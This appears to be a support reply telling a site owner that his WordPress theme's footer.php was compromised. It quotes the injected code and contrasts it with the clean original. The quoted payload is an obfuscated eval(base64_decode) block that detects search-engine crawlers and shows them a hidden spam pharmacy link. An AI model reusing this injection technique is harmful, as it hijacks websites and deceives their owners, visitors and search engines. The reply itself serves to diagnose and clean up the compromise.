Hello Paul,
I have investigated your issue and I found out that your site has been compromised. The footer.php file has been injected with a male enhancer code:
<?php
// =============================================================================
// FOOTER.PHP
// -----------------------------------------------------------------------------
// The site footer.
// =============================================================================
<?php
$fafrendslins = <<<EOT
<div>
<p><a href="https://laurenparsonswellbeing.com/Pills/male-enhancement-CQp-video-training-GAf
">male enhancement</a></p>
</div>
EOT;
eval/**/(base64_decode('JHNwZGU9IHN0cnRvbG93ZXIoJF9TRVJWRVIvKnRlc3QqL1svKiovIkhUVFBfVVNFUl9BR0VOVCIvKiovXSk7CmZ1bmN0aW9uIGNhZ3QoJHNwZCkKewokZ3RydWU9IHN0cl9yZXBsYWNlKCJ4IiwiIiwiYnhveHh0eHxneG94eG94Z3hseGV8eXh4YXhoeG94b3xteHN4bnxzeHhweGl4ZHhleHJ8d3hneGV4dCIpOwppZihwcmVnX21hdGNoKCIvJGd0cnVlL2kiLCRzcGQpKXsKcmV0dXJuIHRydWU7Cn1lbHNlewpyZXR1cm4gZmFsc2U7Cn0KfSAKaWYoY2FndCgkc3BkZSkpewplY2hvICRmYWZyZW5kc2xpbnM7Cn0='));
?>
x_get_view( 'footer', 'base' );
The original contents of footer.php file is only this:
<?php
// =============================================================================
// FOOTER.PHP
// -----------------------------------------------------------------------------
// The site footer.
// =============================================================================
x_get_view( 'footer', 'base' );
Please re install the X theme instead. You can check out this documentation to know you can re install it or by doing manual updates.
Best Regards.